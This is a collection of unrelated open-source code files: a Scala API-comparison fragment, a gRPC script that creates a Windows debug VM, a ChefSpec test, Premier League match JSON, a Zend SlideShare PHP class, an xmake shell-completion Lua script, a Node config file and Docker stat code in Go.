def sameAliasSpecificAPI(a: TypeAlias, b: TypeAlias): Boolean =
debug(sameType(a.tpe, b.tpe), "Different alias type for " + a.name)
def sameDeclarationSpecificAPI(a: TypeDeclaration, b: TypeDeclaration): Boolean =
debug(sameType(a.lowerBound, b.lowerBound), "Different lower bound for declaration " + a.name) &&
debug(sameType(a.upperBound, b.upperBound), "Different upper bound for declaration " + a.name)
def sameFieldSpecificAPI(a: FieldLike, b: FieldLike): Boolean =
debug(
sameFieldCategory(a, b),
"Different field categories (" + a.name + "=" + a.getClass.getName + " -- " + a.name + "=" + a.getClass.getName + ")"
) &&
debug(sameType(a.tpe, b.tpe), "Different field type for " + a.name)
def sameFieldCategory(a: FieldLike, b: FieldLike): Boolean =
(a, b) match {
case (_: Val, _: Val) => true
case (_: Var, _: Var) => true
case _ => false
}
def sameClassLikeSpecificAPI(a: ClassLike, b: ClassLike): Boolean = {
debug(sameTopLevel(a, b), "Top level flag differs") &&
sameDefinitionType(a.definitionType, b.definitionType) &&
sameType(a.selfType, b.selfType) &&
sameSeq(a.childrenOfSealedClass, b.childrenOfSealedClass)(sameType) &&
sameStructure(a.structure, b.structure)
}
def sameClassLikeDefSpecificAPI(a: ClassLikeDef, b: ClassLikeDef): Boolean =
sameDefinitionType(a.definitionType, b.definitionType)
def sameValueParameters(a: Seq[ParameterList], b: Seq[ParameterList]): Boolean =
sameSeq(a, b)(sameParameterList)
def sameParameterList(a: ParameterList, b: ParameterList): Boolean =
(a.isImplicit == b.isImplicit) &&
sameParameters(a.parameters, b.parameters)
def sameParameters(a: Seq[MethodParameter], b: Seq[MethodParameter]): Boolean =
sameSeq(a, b)(sameMethodParameter)
def sameMethodParameter(a: MethodParameter, b: MethodParameter): Boolean =
(!includeParamNames || a.name == b.name) &&
sameType(a.tpe, b.tpe) &&
(a.hasDefault == b.hasDefault) &&
sameParameterModifier(a.modifier, b.modifier)
def sameParameterModifier(a: ParameterModifier, b: ParameterModifier) =
a == b
def sameDefinitionType(a: DefinitionType, b: DefinitionType): Boolean =
a == b
def sameVariance(a: Variance, b: Variance): Boolean =
a == b
def sameTypeParameters(a: Seq[TypeParameter], b: Seq[TypeParameter]): Boolean =
debug(sameSeq(a, b)(sameTypeParameter), "Different type parameters")
def sameTypeParameter(a: TypeParameter, b: TypeParameter): Boolean = {
sameTypeParameters(a.typeParameters, b.typeParameters) &&
debug(sameAnnotations(a.annotations, b.annotations), "Different type parameter annotations") &&
debug(sameVariance(a.variance, b.variance), "Different variance") &&
debug(sameType(a.lowerBound, b.lowerBound), "Different lower bound") &&
debug(sameType(a.upperBound, b.upperBound), "Different upper bound") &&
sameTags(a.id, b.id)
}
def sameTags(a: String, b: String): Boolean =
debug(a == b, "Different type parameter bindings: " + a + ", " + b)
def sameType(a: Type, b: Type): Boolean =
samePending(a, b)(sameTypeDirect)
def sameTypeDirect(a: Type, b: Type): Boolean = {
(a, b) match {
case (pa: Projection, pb: Projection) =>
debug(sameProjection(pa, pb), "Different projection")
case (pa: ParameterRef, pb: ParameterRef) =>
debug(sameParameterRef(pa, pb), "Different parameter ref")
case (pa: Polymorphic, pb: Polymorphic) =>
debug(samePolymorphicType(pa, pb), "Different polymorphic type")
case (pa: Parameterized, pb: Parameterized) =>
debug(sameParameterized(pa, pb), "Different parameterized")
case (sa: Singleton, sb: Singleton) => debug(sameSingleton(sa, sb), "Different singleton")
case (ca: Constant, cb: Constant) =>
debug(
sameConstantType(ca, cb),
"Different constant types: " + DefaultShowAPI(ca) + " and " + DefaultShowAPI(cb)
)
case (aa: Annotated, ab: Annotated) =>
debug(sameAnnotatedType(aa, ab), "Different annotated types")
case (sa: Structure, sb: Structure) =>
debug(sameStructureDirect(sa, sb), "Different structure type")
case (ea: Existential, eb: Existential) =>
debug(sameExistentialType(ea, eb), "Different existential type")
case (_: EmptyType, _: EmptyType) => true
case _ => differentCategory("type", a, b)
}
}
def sameConstantType(ca: Constant, cb: Constant): Boolean =
sameType(ca.baseType, cb.baseType) &&
ca.value == cb.value
def sameExistentialType(a: Existential, b: Existential): Boolean =
sameTypeParameters(a.clause, b.clause) &&
sameType(a.baseType, b.baseType)
def samePolymorphicType(a: Polymorphic, b: Polymorphic): Boolean =
sameTypeParameters(a.parameters, b.parameters) &&
sameType(a.baseType, b.baseType)
def sameAnnotatedType(a: Annotated, b: Annotated): Boolean =
sameType(a.baseType, b.baseType) &&
sameAnnotations(a.annotations, b.annotations)
def sameStructure(a: Structure, b: Structure): Boolean =
samePending(a, b)(sameStructureDirect)
private[this] def samePending[T](a: T, b: T)(f: (T, T) => Boolean): Boolean =
if (pending add ((a, b))) f(a, b) else true
def sameStructureDirect(a: Structure, b: Structure): Boolean = {
sameSeq(a.parents, b.parents)(sameType) &&
sameMembers(a.declared, b.declared) &&
sameMembers(a.inherited, b.inherited)
}
def sameMembers(a: Seq[Definition], b: Seq[Definition]): Boolean =
sameDefinitions(a, b, topLevel = false)
def differentCategory(label: String, a: AnyRef, b: AnyRef): Boolean =
debug(
flag = false,
"Different category of " + label + " (" + a.getClass.getName + " and " + b.getClass.getName + ") for (" + a + " and " + b + ")"
)
def sameParameterized(a: Parameterized, b: Parameterized): Boolean =
sameType(a.baseType, b.baseType) &&
sameSeq(a.typeArguments, b.typeArguments)(sameType)
def sameParameterRef(a: ParameterRef, b: ParameterRef): Boolean = sameTags(a.id, b.id)
def sameSingleton(a: Singleton, b: Singleton): Boolean =
samePath(a.path, b.path)
def sameProjection(a: Projection, b: Projection): Boolean =
sameType(a.prefix, b.prefix) &&
(a.id == b.id)
def samePath(a: Path, b: Path): Boolean =
samePathComponents(a.components, b.components)
def samePathComponents(a: Seq[PathComponent], b: Seq[PathComponent]): Boolean =
sameSeq(a, b)(samePathComponent)
def samePathComponent(a: PathComponent, b: PathComponent): Boolean =
(a, b) match {
case (_: This, _: This) => true
case (sa: Super, sb: Super) => samePathSuper(sa, sb)
case (ia: Id, ib: Id) => samePathId(ia, ib)
case _ => false
}
def samePathSuper(a: Super, b: Super): Boolean =
samePath(a.qualifier, b.qualifier)
def samePathId(a: Id, b: Id): Boolean =
a.id == b.id
// precondition: a.keySet == b.keySet
protected def zippedEntries[A, B](
a: scala.collection.Map[A, B],
b: scala.collection.Map[A, B]
): Iterable[(B, B)] =
for ((key, avalue) <- a) yield (avalue, b(key))
def sameStrings(a: scala.collection.Set[String], b: scala.collection.Set[String]): Boolean =
a == b
final def sameSeq[T](a: Seq[T], b: Seq[T])(eq: (T, T) => Boolean): Boolean =
(a.length == b.length) && (a zip b).forall(tupled(eq))
}
| {
"pile_set_name": "Github"
} |
#!/bin/bash
# Copyright 2017 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Creates a worker for debugging/experiments.
# The worker will have all the prerequisites that are installed on kokoro
# windows workers.
set -ex
cd "$(dirname "$0")"
CLOUD_PROJECT=grpc-testing
ZONE=us-central1-b
if [ "$1" != "" ]
then
INSTANCE_NAME="$1"
else
INSTANCE_NAME="${USER}-windows-kokoro-debug1"
fi
MACHINE_TYPE=n1-standard-8
TMP_DISK_NAME="$INSTANCE_NAME-temp-disk"
gcloud compute disks create "$TMP_DISK_NAME" \
--project="$CLOUD_PROJECT" \
--zone "$ZONE" \
--image-project google.com:kokoro \
--image empty-100g-image \
--type pd-ssd
echo 'Created scratch disk, waiting for it to become available.'
sleep 15
# The image version might need updating.
gcloud compute instances create "$INSTANCE_NAME" \
--project="$CLOUD_PROJECT" \
--zone "$ZONE" \
--machine-type "$MACHINE_TYPE" \
--image-project google.com:kokoro \
--image kokoro-win7build-v11-prod-debug \
--boot-disk-size 500 \
--boot-disk-type pd-ssd \
--tags=allow-ssh \
--disk "auto-delete=yes,boot=no,name=$TMP_DISK_NAME"
| {
"pile_set_name": "Github"
} |
# frozen_string_literal: true
require 'spec_helper'
describe 'rabbitmq::mgmt_console' do
let(:runner) { ChefSpec::ServerRunner.new(REDHAT_OPTS) }
let(:node) { runner.node }
cached(:chef_run) do
runner.converge(described_recipe)
end
let(:file_cache_path) { Chef::Config[:file_cache_path] }
it 'includes the `default` recipe' do
expect(chef_run).to include_recipe('rabbitmq::default')
end
end
| {
"pile_set_name": "Github"
} |
[
{
"status": "played",
"time": "1440442800",
"id": "2043068",
"home": "Arsenal FC",
"score": ["0 ", " 0"],
"away": "Liverpool FC",
"link": "/en-us/match/arsenal-vs-liverpool/2043068"
},
{
"status": "played",
"time": "1440342000",
"id": "2043069",
"home": "Everton FC",
"score": ["0 ", " 2"],
"away": "Manchester City FC",
"link": "/en-us/match/everton-vs-manchester-city/2043069"
},
{
"status": "played",
"time": "1440342000",
"id": "2043071",
"home": "Watford FC",
"score": ["0 ", " 0"],
"away": "Southampton FC",
"link": "/en-us/match/watford-vs-southampton/2043071"
},
{
"status": "played",
"time": "1440333000",
"id": "2043067",
"home": "West Bromwich Albion FC",
"score": ["2 ", " 3"],
"away": "Chelsea FC",
"link": "/en-us/match/west-bromwich-albion-vs-chelsea/2043067"
},
{
"status": "played",
"time": "1440252000",
"id": "2043065",
"home": "Crystal Palace FC",
"score": ["2 ", " 1"],
"away": "Aston Villa FC",
"link": "/en-us/match/crystal-palace-vs-aston-villa/2043065"
},
{
"status": "played",
"time": "1440252000",
"id": "2043074",
"home": "Leicester City FC",
"score": ["1 ", " 1"],
"away": "Tottenham Hotspur FC",
"link": "/en-us/match/leicester-city-vs-tottenham-hotspur/2043074"
},
{
"status": "played",
"time": "1440243900",
"id": "2043070",
"home": "Manchester United FC",
"score": ["0 ", " 0"],
"away": "Newcastle United FC",
"link": "/en-us/match/manchester-united-vs-newcastle-united/2043070"
},
{
"status": "played",
"time": "1440252000",
"id": "2043072",
"home": "Norwich City FC",
"score": ["1 ", " 1"],
"away": "Stoke City FC",
"link": "/en-us/match/norwich-city-vs-stoke-city/2043072"
},
{
"status": "played",
"time": "1440252000",
"id": "2043073",
"home": "Sunderland AFC",
"score": ["1 ", " 1"],
"away": "Swansea City AFC",
"link": "/en-us/match/sunderland-vs-swansea-city/2043073"
},
{
"status": "played",
"time": "1440252000",
"id": "2043066",
"home": "West Ham United FC",
"score": ["3 ", " 4"],
"away": "AFC Bournemouth",
"link": "/en-us/match/west-ham-united-vs-afc-bournemouth/2043066"
},
{
"status": "played",
"time": "1439838000",
"id": "2043056",
"home": "Liverpool FC",
"score": ["1 ", " 0"],
"away": "AFC Bournemouth",
"link": "/en-us/match/liverpool-vs-afc-bournemouth/2043056"
},
{
"status": "played",
"time": "1439728200",
"id": "2043055",
"home": "Crystal Palace FC",
"score": ["1 ", " 2"],
"away": "Arsenal FC",
"link": "/en-us/match/crystal-palace-vs-arsenal/2043055"
},
{
"status": "played",
"time": "1439737200",
"id": "2043057",
"home": "Manchester City FC",
"score": ["3 ", " 0"],
"away": "Chelsea FC",
"link": "/en-us/match/manchester-city-vs-chelsea/2043057"
},
{
"status": "played",
"time": "1439639100",
"id": "2043058",
"home": "Southampton FC",
"score": ["0 ", " 3"],
"away": "Everton FC",
"link": "/en-us/match/southampton-vs-everton/2043058"
},
{
"status": "played",
"time": "1439647200",
"id": "2043062",
"home": "Sunderland AFC",
"score": ["1 ", " 3"],
"away": "Norwich City FC",
"link": "/en-us/match/sunderland-vs-norwich-city/2043062"
},
{
"status": "played",
"time": "1439647200",
"id": "2043061",
"home": "Swansea City AFC",
"score": ["2 ", " 0"],
"away": "Newcastle United FC",
"link": "/en-us/match/swansea-city-vs-newcastle-united/2043061"
},
{
"status": "played",
"time": "1439647200",
"id": "2043063",
"home": "Tottenham Hotspur FC",
"score": ["2 ", " 2"],
"away": "Stoke City FC",
"link": "/en-us/match/tottenham-hotspur-vs-stoke-city/2043063"
},
{
"status": "played",
"time": "1439647200",
"id": "2043064",
"home": "Watford FC",
"score": ["0 ", " 0"],
"away": "West Bromwich Albion FC",
"link": "/en-us/match/watford-vs-west-bromwich-albion/2043064"
},
{
"status": "played",
"time": "1439647200",
"id": "2043059",
"home": "West Ham United FC",
"score": ["1 ", " 2"],
"away": "Leicester City FC",
"link": "/en-us/match/west-ham-united-vs-leicester-city/2043059"
},
{
"status": "played",
"time": "1439577900",
"id": "2043060",
"home": "Aston Villa FC",
"score": ["0 ", " 1"],
"away": "Manchester United FC",
"link": "/en-us/match/aston-villa-vs-manchester-united/2043060"
},
{
"status": "played",
"time": "1439233200",
"id": "2043048",
"home": "West Bromwich Albion FC",
"score": ["0 ", " 3"],
"away": "Manchester City FC",
"link": "/en-us/match/west-bromwich-albion-vs-manchester-city/2043048"
},
{
"status": "played",
"time": "1439123400",
"id": "2043054",
"home": "Arsenal FC",
"score": ["0 ", " 2"],
"away": "West Ham United FC",
"link": "/en-us/match/arsenal-vs-west-ham-united/2043054"
},
{
"status": "played",
"time": "1439123400",
"id": "2043049",
"home": "Newcastle United FC",
"score": ["2 ", " 2"],
"away": "Southampton FC",
"link": "/en-us/match/newcastle-united-vs-southampton/2043049"
},
{
"status": "played",
"time": "1439132400",
"id": "2043047",
"home": "Stoke City FC",
"score": ["0 ", " 1"],
"away": "Liverpool FC",
"link": "/en-us/match/stoke-city-vs-liverpool/2043047"
},
{
"status": "played",
"time": "1439042400",
"id": "2043045",
"home": "AFC Bournemouth",
"score": ["0 ", " 1"],
"away": "Aston Villa FC",
"link": "/en-us/match/afc-bournemouth-vs-aston-villa/2043045"
},
{
"status": "played",
"time": "1439051400",
"id": "2043051",
"home": "Chelsea FC",
"score": ["2 ", " 2"],
"away": "Swansea City AFC",
"link": "/en-us/match/chelsea-vs-swansea-city/2043051"
},
{
"status": "played",
"time": "1439042400",
"id": "2043053",
"home": "Everton FC",
"score": ["2 ", " 2"],
"away": "Watford FC",
"link": "/en-us/match/everton-vs-watford/2043053"
},
{
"status": "played",
"time": "1439042400",
"id": "2043050",
"home": "Leicester City FC",
"score": ["4 ", " 2"],
"away": "Sunderland AFC",
"link": "/en-us/match/leicester-city-vs-sunderland/2043050"
},
{
"status": "played",
"time": "1439034300",
"id": "2043052",
"home": "Manchester United FC",
"score": ["1 ", " 0"],
"away": "Tottenham Hotspur FC",
"link": "/en-us/match/manchester-united-vs-tottenham-hotspur/2043052"
},
{
"status": "played",
"time": "1439042400",
"id": "2043046",
"home": "Norwich City FC",
"score": ["1 ", " 3"],
"away": "Crystal Palace FC",
"link": "/en-us/match/norwich-city-vs-crystal-palace/2043046"
}
] | {
"pile_set_name": "Github"
} |
#unittest {
name: "Test module declaration.";
error: RUNTIME;
};
module m1 {
var a = 100;
func f1() {return a;}
}
module m2 {
var a = 200;
func f1() {return a;}
} | {
"pile_set_name": "Github"
} |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* @category Zend
* @package Zend_Service
* @subpackage SlideShare
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id: SlideShow.php 20096 2010-01-06 02:05:09Z bkarwin $
*/
/**
* The Zend_Service_SlideShare_SlideShow class represents a slide show on the
* slideshare.net servers.
*
* @category Zend
* @package Zend_Service
* @subpackage SlideShare
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_Service_SlideShare_SlideShow
{
/**
* Status constant mapping for web service
*
*/
const STATUS_QUEUED = 0;
const STATUS_PROCESSING = 1;
const STATUS_READY = 2;
const STATUS_FAILED = 3;
/**
* The HTML code to embed the slide show in a web page
*
* @var string the HTML to embed the slide show
*/
protected $_embedCode;
/**
* The URI for the thumbnail representation of the slide show
*
* @var string The URI of a thumbnail image
*/
protected $_thumbnailUrl;
/**
* The title of the slide show
*
* @var string The slide show title
*/
protected $_title;
/**
* The Description of the slide show
*
* @var string The slide show description
*/
protected $_description;
/**
* The status of the silde show on the server
*
* @var int The Slide show status code
*/
protected $_status;
/**
* The Description of the slide show status code
*
* @var string The status description
*/
protected $_statusDescription;
/**
* The Permanent link for the slide show
*
* @var string the Permalink for the slide show
*/
protected $_permalink;
/**
* The number of views this slide show has received
*
* @var int the number of views
*/
protected $_numViews;
/**
* The ID of the slide show on the server
*
* @var int the Slide show ID number on the server
*/
protected $_slideShowId;
/**
* A slide show filename on the local filesystem (when uploading)
*
* @var string the local filesystem path & file of the slide show to upload
*/
protected $_slideShowFilename;
/**
* An array of tags associated with the slide show
*
* @var array An array of tags associated with the slide show
*/
protected $_tags = array();
/**
* The location of the slide show
*
* @var string the Location
*/
protected $_location;
/**
* The transcript associated with the slide show
*
* @var string the Transscript
*/
protected $_transcript;
/**
* Retrieves the location of the slide show
*
* @return string the Location
*/
public function getLocation()
{
return $this->_location;
}
/**
* Sets the location of the slide show
*
* @param string $loc The location to use
* @return Zend_Service_SlideShare_SlideShow
*/
public function setLocation($loc)
{
$this->_location = (string)$loc;
return $this;
}
/**
* Gets the transcript for this slide show
*
* @return string the Transcript
*/
public function getTranscript()
{
return $this->_transcript;
}
/**
* Sets the transcript for this slide show
*
* @param string $t The transcript
* @return Zend_Service_SlideShare_SlideShow
*/
public function setTranscript($t)
{
$this->_transcript = (string)$t;
return $this;
}
/**
* Adds a tag to the slide show
*
* @param string $tag The tag to add
* @return Zend_Service_SlideShare_SlideShow
*/
public function addTag($tag)
{
$this->_tags[] = (string)$tag;
return $this;
}
/**
* Sets the tags for the slide show
*
* @param array $tags An array of tags to set
* @return Zend_Service_SlideShare_SlideShow
*/
public function setTags(Array $tags)
{
$this->_tags = $tags;
return $this;
}
/**
* Gets all of the tags associated with the slide show
*
* @return array An array of tags for the slide show
*/
public function getTags()
{
return $this->_tags;
}
/**
* Sets the filename on the local filesystem of the slide show
* (for uploading a new slide show)
*
* @param string $file The full path & filename to the slide show
* @return Zend_Service_SlideShare_SlideShow
*/
public function setFilename($file)
{
$this->_slideShowFilename = (string)$file;
return $this;
}
/**
* Retrieves the filename on the local filesystem of the slide show
* which will be uploaded
*
* @return string The full path & filename to the slide show
*/
public function getFilename()
{
return $this->_slideShowFilename;
}
/**
* Sets the ID for the slide show
*
* @param int $id The slide show ID
* @return Zend_Service_SlideShare_SlideShow
*/
public function setId($id)
{
$this->_slideShowId = (string)$id;
return $this;
}
/**
* Gets the ID for the slide show
*
* @return int The slide show ID
*/
public function getId()
{
return $this->_slideShowId;
}
/**
* Sets the HTML embed code for the slide show
*
* @param string $code The HTML embed code
* @return Zend_Service_SlideShare_SlideShow
*/
public function setEmbedCode($code)
{
$this->_embedCode = (string)$code;
return $this;
}
/**
* Retrieves the HTML embed code for the slide show
*
* @return string the HTML embed code
*/
public function getEmbedCode()
{
return $this->_embedCode;
}
/**
* Sets the Thumbnail URI for the slide show
*
* @param string $url The URI for the thumbnail image
* @return Zend_Service_SlideShare_SlideShow
*/
public function setThumbnailUrl($url)
{
$this->_thumbnailUrl = (string) $url;
return $this;
}
/**
* Retrieves the Thumbnail URi for the slide show
*
* @return string The URI for the thumbnail image
*/
public function getThumbnailUrl()
{
return $this->_thumbnailUrl;
}
/**
* Sets the title for the Slide show
*
* @param string $title The slide show title
* @return Zend_Service_SlideShare_SlideShow
*/
public function setTitle($title)
{
$this->_title = (string)$title;
return $this;
}
/**
* Retrieves the Slide show title
*
* @return string the Slide show title
*/
public function getTitle()
{
return $this->_title;
}
/**
* Sets the description for the Slide show
*
* @param strign $desc The description of the slide show
* @return Zend_Service_SlideShare_SlideShow
*/
public function setDescription($desc)
{
$this->_description = (string)$desc;
return $this;
}
/**
* Gets the description of the slide show
*
* @return string The slide show description
*/
public function getDescription()
{
return $this->_description;
}
/**
* Sets the numeric status of the slide show on the server
*
* @param int $status The numeric status on the server
* @return Zend_Service_SlideShare_SlideShow
*/
public function setStatus($status)
{
$this->_status = (int)$status;
return $this;
}
/**
* Gets the numeric status of the slide show on the server
*
* @return int A Zend_Service_SlideShare_SlideShow Status constant
*/
public function getStatus()
{
return $this->_status;
}
/**
* Sets the textual description of the status of the slide show on the server
*
* @param string $desc The textual description of the status of the slide show
* @return Zend_Service_SlideShare_SlideShow
*/
public function setStatusDescription($desc)
{
$this->_statusDescription = (string)$desc;
return $this;
}
/**
* Gets the textual description of the status of the slide show on the server
*
* @return string the textual description of the service
*/
public function getStatusDescription()
{
return $this->_statusDescription;
}
/**
* Sets the permanent link of the slide show
*
* @param string $url The permanent URL for the slide show
* @return Zend_Service_SlideShare_SlideShow
*/
public function setPermaLink($url)
{
$this->_permalink = (string)$url;
return $this;
}
/**
* Gets the permanent link of the slide show
*
* @return string the permanent URL for the slide show
*/
public function getPermaLink()
{
return $this->_permalink;
}
/**
* Sets the number of views the slide show has received
*
* @param int $views The number of views
* @return Zend_Service_SlideShare_SlideShow
*/
public function setNumViews($views)
{
$this->_numViews = (int)$views;
return $this;
}
/**
* Gets the number of views the slide show has received
*
* @return int The number of views
*/
public function getNumViews()
{
return $this->_numViews;
}
} | {
"pile_set_name": "Github"
} |
--!A cross-platform build utility based on Lua
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
-- Copyright (C) 2015-2020, TBOOX Open Source Group.
--
-- @author OpportunityLiu
-- @file complete.lua
--
-- imports
import("core.base.option")
import("core.base.task")
import("core.base.cli")
local raw_words = {}
local raw_config
local position = 0
local use_spaces = true
local no_key = false
local reenter = false
function _print_candidate(is_complate, ...)
local candidate = format(...)
if candidate and #candidate ~= 0 then
printf(candidate)
if use_spaces and is_complate then
print(" ")
else
print("")
end
end
end
function _find_candidates(candidates, find)
if type(candidates) ~= 'table' then
return {}
end
local has_candidate = false
local results = table.new(#candidates, 0)
-- find candidate starts with find str
for _, v in ipairs(candidates) do
if tostring(v):startswith(find) then
table.insert(results, v)
has_candidate = true
end
end
-- stop searching if found any
if has_candidate then
return results
end
-- find candidate contains find str
for _, v in ipairs(candidates) do
if tostring(v):find(find, 1, true) then
table.insert(results, v)
end
end
return results
end
function _complete_task(tasks, name)
local has_candidate = false
for _, v in ipairs(_find_candidates((table.keys(tasks)), name)) do
_print_candidate(true, "%s", v)
has_candidate = true
end
return has_candidate
end
-- complete values of kv
function _complete_option_kv_v(options, current, completing, name, value)
-- find completion option
local opt
for _, v in ipairs(options) do
if v[3] == "kv" and (v[1] == name or v[2] == name) then
opt = v
break
end
end
if not opt then
return false
end
-- show candidates of values
local values = opt.values
if type(values) == "function" then
values = values(value, current)
end
if values == nil and type(opt[4]) == "boolean" then
values = { "yes", "no" }
-- ignore existing input
value = ""
end
-- match values starts with value first
for _, v in ipairs(_find_candidates(values, value)) do
if no_key then
_print_candidate(true, "%s", v)
else
_print_candidate(true, "--%s=%s", name, v)
end
end
-- whether any candidates has been found, finish complete since we don't have more info
return true
end
-- complete keys of kv
function _complete_option_kv_k(options, current, completing, name)
local opcandi = table.new(0, 10)
for _, opt in ipairs(options) do
if opt[2] and current[opt[2]] == nil and (opt[3] == "kv" or opt[3] == "k") then
opcandi[opt[2]] = opt
end
end
for _, k in ipairs(_find_candidates((table.keys(opcandi)), name)) do
local opt = opcandi[k]
_print_candidate((opt[3] == "k"), (opt[3] == "k") and "--%s" or "--%s=", opt[2])
end
return true
end
function _complete_option_kv(options, current, completing)
local name, value
if completing == "-" or completing == "--" then
name = ""
elseif completing:startswith("--") then
local parg = cli.parsev({completing})[1]
if parg.type == "option" then
name, value = parg.key, parg.value
elseif parg.type == "flag" then
name = parg.key
end
elseif completing:startswith("-") then
-- search full names only
return true
end
if value then
-- complete values
return _complete_option_kv_v(options, current, completing, name, value)
else
-- complete keys
return _complete_option_kv_k(options, current, completing, name)
end
end
-- complete options v and vs
function _complete_option_v(options, current, completing)
-- find completion option
local opt
local optvs
for _, v in ipairs(options) do
if v[3] == "v" and current[v[2] or v[1]] == nil then
opt = v
end
if v[3] == "vs" and not optvs then
optvs = v
end
end
if opt then
-- show candidates of values
local values = opt.values
if type(values) == "function" then
values = values(completing, current)
end
for _, v in ipairs(values) do
if tostring(v):startswith(completing) then
_print_candidate(true, "%s", v)
end
end
return true
end
if optvs then
-- show candidates of values
local values = optvs.values
if type(values) == "function" then
values = values(completing)
end
for _, v in ipairs(values) do
if tostring(v):startswith(completing) then
_print_candidate(true, "%s", v)
end
end
return true
end
return false
end
function _complete_option(options, segs, completing)
local current_options = try
{
function()
return option.raw_parse(segs, options, { populate_defaults = false, allow_unknown = true })
end
}
-- current options is invalid
if not current_options then return false end
-- current context is wrong
if not reenter and (current_options.file or current_options.project) then
local args = {"lua", "private.utils.complete", tostring(position), raw_config .. "-reenter", table.unpack(raw_words) }
if current_options.file then
table.insert(args, 2, "--file=" .. current_options.file)
end
if current_options.project then
table.insert(args, 2, "--project=" .. current_options.project)
end
os.execv("xmake", args)
return true
end
if completing:startswith("-") then
return _complete_option_kv(options, current_options, completing)
else
return _complete_option_v(options, current_options, completing)
end
end
function _complete(argv, completing)
local tasks = table.new(10, 0)
local shortnames = table.new(0, 10)
for _, v in ipairs(task.names()) do
local menu = option.taskmenu(v)
tasks[v] = menu
if menu.shortname then
shortnames[menu.shortname] = v
end
end
if #argv == 0 then
if _complete_task(tasks, completing) then return end
end
local task_name = "build"
if argv[1] and not argv[1]:startswith("-") then
task_name = table.remove(argv, 1)
end
if shortnames[task_name] then task_name = shortnames[task_name] end
local options
if tasks[task_name] then
options = tasks[task_name].options
else
options = tasks["build"].options
end
_complete_option(options, argv, completing)
end
function main(pos, config, ...)
raw_words = {...}
raw_config = (config or ""):trim()
if raw_config:find("nospace", 1, true) then
use_spaces = false
end
if raw_config:find("reenter", 1, true) then
reenter = true
end
if raw_config:find("nokey", 1, true) then
no_key = true
end
if raw_config:find("debug", 1, true) then
debug = true
end
local word = table.concat(raw_words, " ") or ""
position = tonumber(pos) or 0
local has_space = word:endswith(" ") or position > #word
word = word:trim()
local argv = os.argv(word)
if argv[1] then
-- normailize word to remove "xmake"
if is_host("windows") and argv[1]:lower() == "xmake.exe" then
argv[1] = "xmake"
end
if argv[1] == "xmake" then
table.remove(argv, 1)
end
end
if has_space then
_complete(argv, "")
else
local completing = table.remove(argv)
_complete(argv, completing or "")
end
end
| {
"pile_set_name": "Github"
} |
/*
* Tencent is pleased to support the open source community by making Blueking Container Service available.
* Copyright (C) 2019 THL A29 Limited, a Tencent company. All rights reserved.
* Licensed under the MIT License (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
* http://opensource.org/licenses/MIT
* Unless required by applicable law or agreed to in writing, software distributed under
* the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package collector
| {
"pile_set_name": "Github"
} |
var TESTING = (process.env.TESTING && process.env.TESTING.toLowerCase() === 'true');
var LOCAL_URL = 'mongodb://localhost/' + (TESTING ?
'reportr_test':
'reportr'
);
module.exports = {
'port': process.env.PORT,
'database': {
'url': process.env.MONGOLAB_URI || process.env.MONGOHQ_URL || process.env.MONGODB_URL || LOCAL_URL
},
'auth': {
'username': process.env.AUTH_USERNAME ,
'password': process.env.AUTH_PASSWORD
},
'tasks': {
'redis': process.env.REDISCLOUD_URL || process.env.REDIS_URL
},
'alerts': {
'mail': {
'service': process.env.MAIL_SERVICE,
'auth': {
'user': process.env.MAIL_USERNAME,
'password': process.env.MAIL_PASSWORD
},
'from': process.env.MAIL_FROM
},
'sms': {
'sId': process.env.TWILIO_SID,
'token': process.env.TWILIO_TOKEN,
'from': process.env.TWILIO_FROM
}
}
};
| {
"pile_set_name": "Github"
} |
// +build !windows
package system // import "github.com/docker/docker/pkg/system"
import (
"os"
"syscall"
)
// StatT type contains status of a file. It contains metadata
// like permission, owner, group, size, etc about a file.
type StatT struct {
mode uint32
uid uint32
gid uint32
rdev uint64
size int64
mtim syscall.Timespec
}
// Mode returns file's permission mode.
func (s StatT) Mode() uint32 {
return s.mode
}
// UID returns file's user id of owner.
func (s StatT) UID() uint32 {
return s.uid
}
// GID returns file's group id of owner.
func (s StatT) GID() uint32 {
return s.gid
}
// Rdev returns file's device ID (if it's special file).
func (s StatT) Rdev() uint64 {
return s.rdev
}
// Size returns file's size.
func (s StatT) Size() int64 {
return s.size
}
// Mtim returns file's last modification time.
func (s StatT) Mtim() syscall.Timespec {
return s.mtim
}
// IsDir reports whether s describes a directory.
func (s StatT) IsDir() bool {
return s.mode&syscall.S_IFDIR != 0
}
// Stat takes a path to a file and returns
// a system.StatT type pertaining to that file.
//
// Throws an error if the file does not exist
func Stat(path string) (*StatT, error) {
s := &syscall.Stat_t{}
if err := syscall.Stat(path, s); err != nil {
return nil, &os.PathError{Op: "Stat", Path: path, Err: err}
}
return fromStatT(s)
}
| {
"pile_set_name": "Github"
} |
// =============================================================================
// Scilab ( http://www.scilab.org/ ) - This file is part of Scilab
// Copyright (C) 2013 - Scilab Enterprises - Paul Bignier
//
//This file is distributed under the same license as the Scilab package.
